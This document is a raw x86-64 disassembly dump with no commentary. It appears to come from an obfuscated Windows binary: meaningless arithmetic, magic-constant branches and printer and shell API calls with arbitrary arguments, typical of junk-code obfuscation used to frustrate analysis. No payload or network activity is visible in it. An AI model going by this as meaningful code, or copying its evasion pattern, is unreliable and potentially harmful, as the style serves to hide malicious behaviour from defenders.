mov rax, qword [rsp + 0x3910]
mov eax, dword [rax]
mov dword [rsp + 0x1e18], eax
cmp dword [rsp + 0x1e18], 0xad42d888
je 0x14000670e
jmp 0x140006776
mov dword [rsp + 0x20], 0x5a
lea r9, [rsp + 0x1d84]
mov r8d, 0xa1
mov edx, ILRemoveLastID
mov rcx, qword [rsp + 0x3a00]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x1d3c], eax
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x68]
sub eax, ecx
mov byte [rsp + 0xda], al
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
movsx ecx, byte [0x1400fd001]
add eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
jmp 0x1400067c4
lea rax, [rsp + 0x38b0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xf9
lea rax, [rsp + 0x3868]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x37e8]
mov r8, qword [rsp + 0x39a0]
mov rdx, qword [rsp + 0x39a0]
mov rcx, qword [rsp + 0x39d0]
call sub.WINSPOOL.DRV_GetPrinterDataExW
mov dword [rsp + 0x1d64], eax
mov rax, qword [rsp + 0x3910]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3988]
mov qword [rsp + 0x3a08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3a08]
mov eax, dword [rax]
shl eax, cl
mov ecx, dword [rsp + 0x1d64]
mov edx, dword [rsp + 0x1d48]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x140006977
mov rax, qword [rsp + 0x3850]
mov eax, dword [rax]
cdq
mov rcx, qword [rsp + 0x38f0]
idiv dword [rcx]
mov rcx, qword [rsp + 0x3858]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xdb]
movzx ecx, byte [rsp + 0xdc]
and eax, ecx
movzx ecx, byte [rsp + 0xde]
mov rdx, qword [rsp + 0x38e8]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jge 0x140006975
mov rax, qword [rsp + 0x39c8]
movzx r9d, word [rax]
movzx r8d, word [rsp + 0x7d4]
movzx edx, byte [rsp + 0xdc]
mov rax, qword [rsp + 0x3868]
movzx ecx, byte [rax]
call fcn.1400e4f60
nop
mov eax, dword [rsp + 0x1dd4]
mov dword [rsp + 0x1e1c], eax
cmp dword [rsp + 0x1e1c], 0x267c77f4
je 0x1400068b4
cmp dword [rsp + 0x1e1c], 0x6ef1ff7f
je 0x140006955
jmp 0x140006975
mov rax, qword [rsp + 0x3988]
mov ecx, dword [rsp + 0x1d64]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3910]
mov dword [rcx], eax
mov rax, qword [rsp + 0x38b8]
mov rcx, qword [rsp + 0x3980]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3870], rax
lea rax, [rsp + 0x38e8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x21
lea r9, [rsp + 0x3870]
lea r8, [rsp + 0x3948]
mov rdx, qword [rsp + 0x3998]
mov rcx, qword [rsp + 0x3990]
call sub.WINSPOOL.DRV_GetPrinterDataW
mov dword [rsp + 0x1e20], eax
mov rax, qword [rsp + 0x3880]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7e8]
add eax, ecx
mov rcx, qword [rsp + 0x39c8]
mov word [rcx], ax
jmp 0x140006975
mov rax, qword [rsp + 0x3920]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x38e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7d8], ax
jmp 0x140006993
mov rax, qword [rsp + 0x38e8]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x3920]
movzx ecx, word [rax]
call fcn.1400e3770
nop
cmp dword [rsp + 0x1d50], 0xa180
jbe 0x140006deb
movsx eax, byte [rsp + 0x68]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x3920]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x38e0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x7dc], ax
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xde]
sub eax, ecx
mov byte [rsp + 0xdb], al
mov rax, qword [rsp + 0x3910]
mov ecx, dword [rsp + 0x1d4c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3988]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3980]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1400fdf40]
shr rax, cl
mov rcx, qword [rsp + 0x38b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x39f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3870]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x37f0], rax
mov rax, qword [rsp + 0x38f0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1d2c]
shl eax, cl
mov rcx, qword [rsp + 0x38d8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xdb]
movzx ecx, byte [rsp + 0xde]
add eax, ecx
mov byte [section..data], al
mov rax, qword [rsp + 0x3920]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7d8]
and eax, ecx
mov rcx, qword [rsp + 0x38e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdc]
add eax, ecx
mov byte [rsp + 0xdb], al
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xda]
sub eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x3860]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7e0]
add eax, ecx
mov word [rsp + 0x7e4], ax
movzx eax, byte [rsp + 0xdc]
mov rcx, qword [rsp + 0x38e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdb], al
mov eax, dword [rsp + 0x1d48]
mov ecx, dword [rsp + 0x1d4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1d64], eax
mov rax, qword [rsp + 0x3980]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3870]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3958], rax
mov rax, qword [rsp + 0x3850]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1d38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1d2c], eax
mov eax, dword [rsp + 0x1d50]
sub eax, 0x1c
mov dword [rsp + 0x1d50], eax
mov rax, qword [rsp + 0x3858]
mov ecx, dword [rsp + 0x1d28]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x38d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xda]
xor eax, ecx
mov byte [rsp + 0x68], al
movzx eax, word [rsp + 0x7e4]
movzx ecx, word [rsp + 0x7e8]
sar eax, cl
mov rcx, qword [rsp + 0x3860]
mov word [rcx], ax
mov rax, qword [rsp + 0x38e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7d8]
or eax, ecx
mov word [rsp + 0x740], ax
mov rax, qword [rsp + 0x3860]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7e4]
shl eax, cl
mov rcx, qword [rsp + 0x3880]
mov word [rcx], ax
movzx eax, byte [rsp + 0xde]
mov rcx, qword [rsp + 0x38e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xdb], al
mov rax, qword [rsp + 0x39f0]
mov rcx, qword [rsp + 0x38b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3870], rax
mov rax, qword [rsp + 0x3818]
mov rcx, qword [rsp + 0x3888]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3908], rax
mov rax, qword [rsp + 0x3910]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1e20]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3988]
mov dword [rcx], eax
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xde]
sub eax, ecx
mov byte [section..data], al
mov rax, qword [rsp + 0x39c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7dc]
add eax, ecx
mov word [rsp + 0x7d8], ax
movzx eax, word [rsp + 0x7d4]
movzx ecx, word [rsp + 0x7e8]
sub eax, ecx
mov rcx, qword [rsp + 0x39c8]
mov word [rcx], ax
movsx eax, word [rsp + 0x7dc]
movsx ecx, word [rsp + 0x644]
sub eax, ecx
mov word [rsp + 0x740], ax
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
movzx eax, byte [rsp + 0xde]
movzx ecx, byte [rsp + 0xdc]
add eax, ecx
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3850]
mov rcx, qword [rsp + 0x3858]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x38d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x37f0]
mov rcx, qword [rsp + 0x3870]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x39f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3908]
movzx ecx, al
mov rax, qword [rsp + 0x3818]
sar rax, cl
mov qword [rsp + 0x3888], rax
mov rax, qword [rsp + 0x3988]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1e20]
shl eax, cl
mov rcx, qword [rsp + 0x3910]
mov dword [rcx], eax
movzx eax, word [rsp + 0x7e0]
mov rcx, qword [rsp + 0x39c8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3860]
mov word [rcx], ax
jmp 0x140006993
mov rax, qword [rsp + 0x38e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x39c0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3920]
mov word [rcx], ax
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
movsx ecx, byte [0x1400fd001]
sub eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
movsx eax, byte [rsp + 0xdd]
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3868]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdc]
movzx ecx, byte [rsp + 0xdb]
and eax, ecx
mov byte [rsp + 0xde], al
mov rax, qword [rsp + 0x3988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1d4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1d64], eax
movzx eax, byte [rsp + 0xde]
movzx ecx, byte [rsp + 0xdb]
sub eax, ecx
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x38d8]
mov ecx, dword [rsp + 0x1dd4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3858]
mov dword [rcx], eax
mov rax, qword [rsp + 0x39f0]
mov rcx, qword [rsp + 0x3958]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1400fdf40], rax
movzx eax, word [rsp + 0x7e8]
movzx ecx, word [rsp + 0x7e0]
sub eax, ecx
mov rcx, qword [rsp + 0x39c8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xdd]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x39c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x740]
shl eax, cl
mov rcx, qword [rsp + 0x39c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdb]
xor eax, ecx
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
movzx eax, word [rsp + 0x7e8]
mov rcx, qword [rsp + 0x39c8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3860]
mov word [rcx], ax
mov rax, qword [rsp + 0x3958]
mov rcx, qword [rsp + 0x37f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3870], rax
mov eax, dword [rsp + 0x1d4c]
mov ecx, dword [rsp + 0x1e20]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3988]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1d28]
mov ecx, dword [rsp + 0x1d38]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3858]
mov dword [rcx], eax
mov rax, qword [rsp + 0x38b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x37f0]
add rcx, rax
mov rax, rcx
mov qword [0x1400fdf40], rax
mov eax, dword [rsp + 0x1e08]
add eax, 0x24
mov dword [rsp + 0x1e08], eax
movsx eax, byte [rsp + 0x68]
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xda], al
movsx eax, word [rsp + 0x644]
mov rcx, qword [rsp + 0x38e0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x7d8], ax
cmp dword [rsp + 0x1e08], 0xa2f
jbe 0x140006deb
mov rax, qword [rsp + 0x3810]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
add eax, ecx
movsx ecx, byte [rsp + 0xda]
movsx edx, byte [rsp + 0x68]
sub ecx, edx
cmp eax, ecx
jg 0x1400e307a
mov rax, qword [rsp + 0x38d0]
mov rcx, qword [rsp + 0x3980]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x38b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3888]
mov qword [rsp + 0x3a10], rax
mov rax, qword [rsp + 0x3988]
mov eax, dword [rax]
mov dword [rsp + 0x1e24], eax
cmp dword [rsp + 0x1e24], 0xbc161eae
je 0x1400070c2
jmp 0x140007116
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdb]
sar eax, cl
mov byte [section..data], al
mov rax, qword [rsp + 0x3860]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x39c8]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x38e8]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x3810]
movzx ecx, byte [rax]
call fcn.1400e4f60
nop
jmp 0x1400e3047
mov rax, qword [rsp + 0x3988]
mov eax, dword [rax]
mov dword [rsp + 0x1e28], eax
cmp dword [rsp + 0x1e28], 0x806b3c87
je 0x140007136
jmp 0x140007173
movzx eax, byte [rsp + 0xdc]
movzx ecx, byte [section..data]
and eax, ecx
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
movzx eax, word [rsp + 0x7d4]
mov rcx, qword [rsp + 0x3860]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7e8], ax
jmp 0x140007392
movzx eax, word [rsp + 0x7e4]
mov rcx, qword [rsp + 0x3880]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0x7e8]
mov rdx, qword [rsp + 0x39c8]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jne 0x140007320
mov rax, qword [rsp + 0x3988]
mov rcx, qword [rsp + 0x3910]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0x1e20]
mov edx, dword [rsp + 0x1d64]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x1400072d6
mov dword [rsp + 0x20], PathMakeUniqueName
lea r9, [rsp + 0x1d64]
mov r8d, 0xda
mov edx, 0xc5
mov rcx, qword [rsp + 0x39d0]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x1e2c], eax
movzx r9d, word [rsp + 0x7e8]
movzx r8d, word [rsp + 0x7e0]
movzx edx, byte [rsp + 0xdb]
mov rax, qword [rsp + 0x3810]
movzx ecx, byte [rax]
call fcn.1400e4f60
nop
mov rax, qword [rsp + 0x39f0]
mov rax, qword [rax]
mov qword [rsp + 0x3a18], rax
movabs rax, 0x191e15f9c47b6754
cmp qword [rsp + 0x3a18], rax
je 0x140007258
jmp 0x1400072ba
movsx eax, byte [rsp + 0xda]
mov rcx, qword [rsp + 0x3868]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
lea rax, [rsp + 0x3a10]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x31
lea r9, [rsp + 0x1d28]
lea r8, [rsp + 0x39d0]
mov rdx, qword [rsp + 0x37e8]
mov rcx, qword [rsp + 0x3a20]
call sub.WINSPOOL.DRV_GetPrinterDataW
mov dword [rsp + 0x1e30], eax
jmp 0x1400072d4
movsx eax, word [rsp + 0x7dc]
movsx ecx, word [rsp + 0x644]
or eax, ecx
mov word [rsp + 0x7d8], ax
jmp 0x14000731e
mov rax, qword [rsp + 0x3988]
mov rcx, qword [rsp + 0x3910]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x1d48]
mov edx, dword [rsp + 0x1d4c]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x14000731e
movzx eax, byte [rsp + 0xdb]
movzx ecx, byte [rsp + 0xdc]
xor eax, ecx
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
jmp 0x140007392
mov rax, qword [rsp + 0x39c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x38e0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3920]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x7dc]
sub ecx, edx
cmp eax, ecx
jle 0x140007392
lea rax, [rsp + 0x39f0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1d48]
mov qword [rsp + 0x20], rax
mov r9d, 0x43
lea r8, [rsp + 0x16160]
mov edx, 0x3d
mov rcx, qword [rsp + 0x39a8]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x1d40], eax
mov rax, qword [rsp + 0x38d8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1d2c]
shl eax, cl
mov rcx, qword [rsp + 0x3858]
mov dword [rcx], eax
mov rax, qword [rsp + 0x38b8]
mov rax, qword [rax]
mov qword [rsp + 0x3a28], rax
cmp qword [rsp + 0x3a28], 0
je 0x1400073ed
movabs rax, 0x920ceae48aacf2f4
cmp qword [rsp + 0x3a28], rax
je 0x1400e2e92
jmp 0x1400e3015
mov eax, dword [rsp + 0x1d28]
movzx ecx, al
mov eax, dword [rsp + 0x1dd4]
sar eax, cl
mov rcx, qword [rsp + 0x3858]
mov rdx, qword [rsp + 0x38f0]
mov edx, dword [rdx]
mov ecx, dword [rcx]
or ecx, edx
cmp eax, ecx
jne 0x14000746b
mov eax, dword [rsp + 0x1e30]
mov dword [rsp + 0x1e34], eax
cmp dword [rsp + 0x1e34], 0xf91107b5
je 0x140007437
jmp 0x140007452
mov rax, qword [rsp + 0x39c0]
movzx edx, word [rax]
mov rcx, qword [rsp + 0x37f0]
call fcn.1400e3a10
nop
jmp 0x14000746b
movsx eax, byte [rsp + 0xda]
mov rcx, qword [rsp + 0x3810]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x68], al
movzx eax, word [rsp + 0x7e0]
mov dword [rsp + 0x1e38], eax
cmp dword [rsp + 0x1e38], 0
je 0x140007496
cmp dword [rsp + 0x1e38], 0x67b
je 0x1400074f0
jmp 0x140007679
lea rax, [rsp + 0x7e4]
mov qword [rsp + 0x3a30], rax
movzx eax, byte [rsp + 0xdc]
movzx ecx, byte [rsp + 0xdb]
shl eax, cl
mov byte [rsp + 0xde], al
mov dword [rsp + 0x1e3c], 0x9122
mov rax, qword [rsp + 0x38d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3958]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x37f0], rax
jmp 0x140007679
mov eax, dword [rsp + 0x1e30]
mov dword [rsp + 0x1e40], eax
cmp dword [rsp + 0x1e40], 0x3b1aaa63
je 0x140007656
cmp dword [rsp + 0x1e40], 0x5473046f
je 0x140007521
jmp 0x140007679
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [section..data]
and eax, ecx
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
mov eax, dword [rsp + 0x1d48]
mov ecx, dword [rsp + 0x1d4c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3910]
mov edx, dword [rsp + 0x1e20]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
je 0x140007595
movzx r9d, byte [rsp + 0xdd]
mov rax, qword [rsp + 0x3868]
movzx r8d, byte [rax]
mov edx, dword [rsp + 0x1d4c]
mov rax, qword [rsp + 0x38e0]
movzx ecx, word [rax]
call fcn.1400e4fb0
nop
lea rax, [rsp + 0x3988]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0xa5
lea rax, [rsp + 0x16160]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x3860]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x3840]
mov qword [rsp + 0x20], rax
mov r9d, 0x8f
mov r8, qword [rsp + 0x3998]
mov edx, 0x1e
mov rcx, qword [rsp + 0x39d0]
call sub.WINSPOOL.DRV_EnumPrinterDataW
mov dword [rsp + 0x1e20], eax
mov eax, dword [rsp + 0x1d48]
mov ecx, dword [rsp + 0x1e30]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3910]
mov dword [rcx], eax
mov rax, qword [rsp + 0x38d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3958]
sub rcx, rax
mov rax, rcx
mov qword [0x1400fdf40], rax
movzx r8d, byte [rsp + 0xdd]
movzx edx, byte [0x1400fd001]
mov rax, qword [rsp + 0x3988]
mov ecx, dword [rax]
call fcn.1400e49a0
nop
jmp 0x140007679
mov rax, qword [rsp + 0x3860]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3880]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3a30]
mov word [rcx], ax
lea rax, [rsp + 0x7d8]
mov qword [rsp + 0x3a38], rax
movsx eax, byte [0x1400fd001]
movsx ecx, byte [rsp + 0xda]
add eax, ecx
mov byte [rsp + 0x68], al
movzx eax, byte [rsp + 0xdb]
movzx ecx, byte [rsp + 0xdc]
sub eax, ecx
mov byte [rsp + 0xde], al
mov rax, qword [rsp + 0x39c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3880]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x7d4], ax
mov eax, dword [rsp + 0x1e20]
mov dword [rsp + 0x1e30], eax
mov rax, qword [rsp + 0x37d8]
movzx ecx, al
mov rax, qword [rsp + 0x3a10]
shl rax, cl
mov qword [rsp + 0x3908], rax
mov eax, dword [rsp + 0x1d2c]
mov rcx, qword [rsp + 0x38f0]
mov qword [rsp + 0x3a40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3a40]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x38d8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1db0]
add eax, 0x82
mov dword [rsp + 0x1db0], eax
mov rax, qword [rsp + 0x3870]
mov rcx, qword [rsp + 0x37f0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x38b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdb]
or eax, ecx
mov byte [section..data], al
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdb]
sub eax, ecx
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3868]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xdd]
add eax, ecx
mov rcx, qword [rsp + 0x3810]
mov byte [rcx], al
mov rax, qword [rsp + 0x38e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xde]
and eax, ecx
mov rcx, qword [rsp + 0x38e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3920]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x39c0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x38e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x39f0]
mov rcx, qword [rsp + 0x3980]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3870], rax
mov rax, qword [rsp + 0x38f0]
mov rcx, qword [rsp + 0x38d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x38f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1d4c]
mov ecx, dword [rsp + 0x1d64]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3988]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a10]
mov rcx, qword [rsp + 0x37d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3818], rax
cmp dword [rsp + 0x1db0], 0x106a7
jne 0x140007689
movsx eax, word [rsp + 0x644]
mov dword [rsp + 0x1e44], eax
cmp dword [rsp + 0x1e44], 0
je 0x1400078a9
jmp 0x14000790e
lea rax, [rsp + 0xdc]
mov qword [rsp + 0x3a48], rax
movzx eax, word [rsp + 0x7e4]
mov rcx, qword [rsp + 0x3a30]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x39c8]
mov word [rcx], ax
lea rax, [rsp + 0x7e0]
mov qword [rsp + 0x3a50], rax
mov rax, qword [rsp + 0x38e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x644]
add eax, ecx
mov rcx, qword [rsp + 0x38e0]
mov word [rcx], ax
jmp 0x1400079cd
mov eax, dword [rsp + 0x1e48]
mov dword [rsp + 0x1e4c], eax
cmp dword [rsp + 0x1e4c], 0xf4a7f286
je 0x14000792e
jmp 0x1400079b9
movsx eax, byte [rsp + 0x68]
movsx ecx, byte [rsp + 0xda]
add eax, ecx
mov byte [rsp + 0xdd], al
lea rax, [rsp + 0x3980]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x3910]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xfb
lea rax, [rsp + 0x3980]
mov qword [rsp + 0x20], rax
mov r9d, 0x36
mov r8d, 0xce
mov edx, 0xdd
mov rcx, qword [rsp + 0x39d0]
call sub.WINSPOOL.DRV_EnumJobsW
mov dword [rsp + 0x1e50], eax
movzx eax, byte [rsp + 0xdc]
mov rcx, qword [rsp + 0x38e8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3a48]
mov byte [rcx], al
jmp 0x1400079cd
mov edx, 0x8e
lea rcx, [rsp + 0x1e2c]
call qword [sym.imp.SHELL32.dll_SHGetSettings]
nop
movzx eax, word [rsp + 0x7e8]
movzx ecx, word [rsp + 0x7e0]
xor eax, ecx
mov rcx, qword [rsp + 0x3880]
movzx ecx, word [rcx]
mov dword [rsp + 0x1e54], ecx
movzx edx, word [rsp + 0x7e4]
movzx ecx, dl
mov edx, dword [rsp + 0x1e54]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x140007b1a
mov rax, qword [rsp + 0x38b8]
mov rcx, qword [rsp + 0x39f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3870], rax
mov eax, dword [rsp + 0x1d28]
mov ecx, dword [rsp + 0x1d38]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3858]
mov dword [rcx], eax
mov rax, qword [rsp + 0x39f0]
mov rax, qword [rax]
mov qword [rsp + 0x3a58], rax
movabs rax, 0x75ad6606904c55f0
cmp qword [rsp + 0x3a58], rax
je 0x140007aac
movabs rax, 0xf48d42eb0215dff7
cmp qword [rsp + 0x3a58], rax
je 0x140007a8c
jmp 0x140007b1a
mov rdx, qword [rsp + 0x3a60]
mov rcx, qword [rsp + 0x3a68]
call qword [sym.imp.SHELL32.dll_DuplicateIcon]
mov qword [rsp + 0x3a70], rax
jmp 0x140007b1a
mov rax, qword [rsp + 0x3988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1e48]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3910]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xda]
movsx ecx, byte [rsp + 0x68]
add eax, ecx
mov byte [rsp + 0xdd], al
lea rdx, [rsp + 0x16800]
mov ecx, 0x4f
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x1e50], eax
mov rax, qword [rsp + 0x3a48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xde]
and eax, ecx
mov rcx, qword [rsp + 0x3a48]
mov byte [rcx], al
mov rax, qword [rsp + 0x38d8]
mov eax, dword [rax]
mov dword [rsp + 0x1e58], eax
cmp dword [rsp + 0x1e58], 0x7207d1e5
je 0x140007b3d
jmp 0x140007c65
mov rax, qword [rsp + 0x38d8]
mov eax, dword [rax]
mov dword [rsp + 0x1e5c], eax
cmp dword [rsp + 0x1e5c], 0x3f0d0da8
je 0x140007bb2
